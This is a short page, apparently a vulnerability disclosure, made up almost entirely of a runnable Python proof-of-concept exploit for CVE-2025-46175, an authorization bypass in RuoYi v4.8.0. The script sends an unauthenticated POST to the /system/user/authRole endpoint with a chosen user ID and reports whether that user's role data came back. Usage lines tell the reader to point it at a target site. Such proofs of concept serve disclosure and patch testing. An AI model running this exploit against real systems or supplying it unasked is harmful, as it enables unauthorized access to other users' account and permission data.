CVE-2025-46175: RuoYi v4.8.0 权限绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-46175 PoC - RuoYi v4.8.0 Unauthorized Role Access This PoC demonstrates the missing checkUserDataScope permission check in the authRole method of SysUserController.java """ import requests import json import sys def exploit_cve_2025_46175(target_url, target_user_id): """ Exploit the missing authorization check in authRole endpoint Args: target_url: Base URL of the RuoYi application target_user_id: User ID to query role information for """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/system/user/authRole" # Payload to query role data for a specific user payload = { "userId": target_user_id } # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Target User ID: {target_user_id}") try: # Send the request without authentication # The vulnerability exists because the endpoint doesn't check # if the requesting user has permission to view the target user's data response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] Response: {json.dumps(data, indent=2)}") if data.get('code') == 200: print("[!] VULNERABLE: Authorization bypass successful!") print(f"[!] Retrieved role information for user ID: {target_user_id}") return True else: print("[-] Request failed or access denied") return False else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_46175_poc.py <target_url> <user_id>") print("Example: python cve_2025_46175_poc.py http://vulnerable-site.com 1") sys.exit(1) target_url = sys.argv[1] target_user_id = sys.argv[2] exploit_cve_2025_46175(target_url, target_user_id)